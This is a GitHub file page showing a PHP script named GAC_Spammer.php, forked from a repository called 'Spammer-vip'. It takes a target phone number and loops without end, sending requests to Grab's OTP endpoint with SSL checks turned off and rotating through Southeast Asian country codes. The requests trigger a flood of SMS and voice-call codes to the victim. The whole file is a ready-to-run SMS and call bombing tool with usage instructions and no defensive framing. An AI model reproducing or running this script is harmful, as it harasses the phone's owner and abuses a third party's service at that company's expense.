forked from BluefeilterTV/Spammer-vip
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathGAC_Spammer.php
More file actions
45 lines (40 loc) · 1.32 KB
/
GAC_Spammer.php
File metadata and controls
45 lines (40 loc) · 1.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
if (!isset($argv[1]) || (isset($argv[2]) && !in_array(strtoupper($argv[2]), ["SMS", "CALL", "ALL"]))) {
echo "Usage: php ".basename(__FILE__)." <phone_number> [SMS|CALL|ALL]\n";
exit;
} elseif (!isset($argv[2])) {
$argv[2] = "SMS";
}
$countries = ["MY", "SG", "ID", "TH", "VN", "KH", "PH", "MM"];
shuffle($countries);
if (function_exists("cli_set_process_title")) cli_set_process_title("GAC Spammer - 0 Hits");
$i = 0;
while (true) {
foreach ($countries as $countryCode) {
$success = false;
while (!$success) {
foreach (["SMS", "CALL"] as $method) {
if (strtoupper($argv[2]) === "ALL" || strtoupper($argv[2]) === $method) {
$result = @file_get_contents("https://api.grab.com/grabid/v1/phone/otp", false, stream_context_create([
"http" => [
"method" => "POST",
"header" => "Content-type: application/x-www-form-urlencoded",
"content" => "method=".$method."&countryCode=".$countryCode."&phoneNumber=".$argv[1]."&templateID=&numDigits=4"
],
"ssl" => [
"verify_peer" => false,
"verify_peer_name" => false
]
]));
if ($result) {
echo date("[H:i:s]")." ".$method." OTP Requested.\n";
if (function_exists("cli_set_process_title")) cli_set_process_title("GAC Spammer - ".++$i." Hits");
$success = true;
}
}
}
sleep(1);
}
}
}
?>